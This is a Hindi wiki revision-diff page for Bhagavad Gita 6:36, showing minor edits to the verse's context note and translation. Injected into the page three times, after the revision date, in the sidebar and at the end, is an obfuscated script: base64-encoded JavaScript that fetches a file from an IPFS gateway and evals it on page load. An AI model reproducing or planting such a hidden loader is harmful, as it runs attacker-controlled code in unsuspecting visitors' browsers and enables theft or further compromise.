"गीता 6:36" के अवतरणों में अंतर
छो |
|||
पंक्ति ९: | पंक्ति ९: | ||
'''प्रसंग-''' | '''प्रसंग-''' | ||
---- | ---- | ||
− | योगसिद्धि के लिये मन को वश में करना परम आवश्यक बतलाया गया । इस पर यह जिज्ञासा होती है कि जिसका मन वश में नहीं है,किंतु योग में श्रद्धा होने के कारण जो भगवत्प्राप्ति के लिये साधन करता है, उसकी मरने के बाद क्या गति होती है ? इसी | + | योगसिद्धि के लिये मन को वश में करना परम आवश्यक बतलाया गया । इस पर यह जिज्ञासा होती है कि जिसका मन वश में नहीं है,किंतु योग में श्रद्धा होने के कारण जो भगवत्प्राप्ति के लिये साधन करता है, उसकी मरने के बाद क्या गति होती है ? इसी लिये [[अर्जुन]] पूछते हैं- |
---- | ---- | ||
<div align="center"> | <div align="center"> | ||
पंक्ति २३: | पंक्ति २३: | ||
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
− | जिसका मन वश में किया हुआ नहीं है, ऐसे पुरूष द्वारा योग दुष्प्राप्य है और वश में किये हुए | + | जिसका मन वश में किया हुआ नहीं है, ऐसे पुरूष द्वारा योग दुष्प्राप्य है और वश में किये हुए मन वाले प्रयत्नशील पुरूष द्वारा साधन से उसका प्राप्त होना सहज है- यह मेरा मत है ।।36।। |
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| |
१०:५१, १७ नवम्बर २००९ का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गीता अध्याय-6 श्लोक-36 / Gita Chapter-6 Verse-36
|
||||
|
||||
|
||||
<sidebar>
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |